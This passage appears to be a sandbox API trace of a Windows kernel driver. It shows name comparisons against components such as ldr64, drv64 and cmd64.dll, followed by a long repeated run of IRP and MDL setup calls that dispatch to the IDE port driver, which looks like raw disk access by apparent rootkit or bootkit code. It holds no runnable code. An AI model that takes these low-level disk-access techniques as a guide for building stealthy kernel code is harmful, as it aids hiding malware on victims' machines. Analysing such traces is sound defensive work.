_Str="cmd64.dll", _MaxCount=0x10) returned 10 [0081.545] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.545] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.545] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.545] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.545] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.545] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0081.545] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0081.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.545] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.545] IdePortDispatch () returned 0x103 [0081.545] KeWaitForMutexObject () returned 0x0 [0081.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.545] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.545] IdePortDispatch () returned 0x103 [0081.545] KeWaitForMutexObject () returned 0x0 [0081.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.546] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.546] IdePortDispatch () returned 0x103 [0081.546] KeWaitForMutexObject () returned 0x0 [0081.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.546] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.546] IdePortDispatch () returned 0x103 [0081.546] KeWaitForMutexObject () returned 0x0 [0081.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.546] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.546] IdePortDispatch () returned 0x103 [0081.546] KeWaitForMutexObject () returned 0x0 [0081.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.547] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.547] IdePortDispatch () returned 0x103 [0081.547] KeWaitForMutexObject () returned 0x0 [0081.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.547] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.547] IdePortDispatch () returned 0x103 [0081.547] KeWaitForMutexObject () returned 0x0 [0081.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.547] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.547] IdePortDispatch () returned 0x103 [0081.547] KeWaitForMutexObject () returned 0x0 [0081.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.547] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.547] IdePortDispatch () returned 0x103 [0081.548] KeWaitForMutexObject () returned 0x0 [0081.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.548] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.548] IdePortDispatch () returned 0x103 [0081.548] KeWaitForMutexObject () returned 0x0 [0081.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.548] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.548] IdePortDispatch () returned 0x103 [0081.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.548] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.548] IdePortDispatch () returned 0x103 [0081.549] KeWaitForMutexObject () returned 0x0 [0081.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.549] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.549] IdePortDispatch () returned 0x103 [0081.549] KeWaitForMutexObject () returned 0x0 [0081.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.549] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.549] IdePortDispatch () returned 0x103 [0081.549] KeWaitForMutexObject () returned 0x0 [0081.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.549] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.549] IdePortDispatch () returned 0x103 [0081.549] KeWaitForMutexObject () returned 0x0 [0081.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.549] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.550] IdePortDispatch () returned 0x103 [0081.550] KeWaitForMutexObject () returned 0x0 [0081.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.550] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.550] IdePortDispatch () returned 0x103 [0081.550] KeWaitForMutexObject () returned 0x0 [0081.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.550] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.550] IdePortDispatch () returned 0x103 [0081.550] KeWaitForMutexObject () returned 0x0 [0081.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.550] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.550] IdePortDispatch () returned 0x103 [0081.551] KeWaitForMutexObject () returned 0x0 [0081.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.551] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.551] IdePortDispatch () returned 0x103 [0081.551] KeWaitForMutexObject () returned 0x0 [0081.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.551] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.551] IdePortDispatch () returned 0x103 [0081.551] KeWaitForMutexObject () returned 0x0 [0081.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.551] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.551] IdePortDispatch () returned 0x103 [0081.552] KeWaitForMutexObject () returned 0x0 [0081.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.552] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.552] IdePortDispatch () returned 0x103 [0081.552] KeWaitForMutexObject () returned 0x0 [0081.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.552] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.552] IdePortDispatch () returned 0x103 [0081.552] KeWaitForMutexObject () returned 0x0 [0081.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.552] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.552] IdePortDispatch () returned 0x103 [0081.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.553] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.553] IdePortDispatch () returned 0x103 [0081.553] KeWaitForMutexObject () returned 0x0 [0081.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.553] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.553] IdePortDispatch () returned 0x103 [0081.553] KeWaitForMutexObject () returned 0x0 [0081.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.553] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.553] IdePortDispatch () returned 0x103 [0081.553] KeWaitForMutexObject () returned 0x0 [0081.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.553] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.553] IdePortDispatch () returned 0x103 [0081.554] KeWaitForMutexObject () returned 0x0 [0081.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.554] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.554] IdePortDispatch () returned 0x103 [0081.556] KeWaitForMutexObject () returned 0x0 [0081.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.556] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.556] IdePortDispatch () returned 0x103 [0081.556] KeWaitForMutexObject () returned 0x0 [0081.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.556] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.556] IdePortDispatch () returned 0x103 [0081.557] KeWaitForMutexObject () returned 0x0 [0081.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.557] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.557] IdePortDispatch () returned 0x103 [0081.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.557] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.557] IdePortDispatch () returned 0x103 [0081.557] KeWaitForMutexObject () returned 0x0 [0081.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.557] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.557] IdePortDispatch () returned 0x103 [0081.557] KeWaitForMutexObject () returned 0x0 [0081.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.558] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.558] IdePortDispatch () returned 0x103 [0081.558] KeWaitForMutexObject () returned 0x0 [0081.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.558] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.558] IdePortDispatch () returned 0x103 [0081.558] KeWaitForMutexObject () returned 0x0 [0081.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.558] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.558] IdePortDispatch () returned 0x103 [0081.558] KeWaitForMutexObject () returned 0x0 [0081.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.558] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.558] IdePortDispatch () returned 0x103 [0081.559] KeWaitForMutexObject () returned 0x0 [0081.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.559] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.559] IdePortDispatch () returned 0x103 [0081.559] KeWaitForMutexObject () returned 0x0 [0081.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.559] IoAllocateMdl (in: 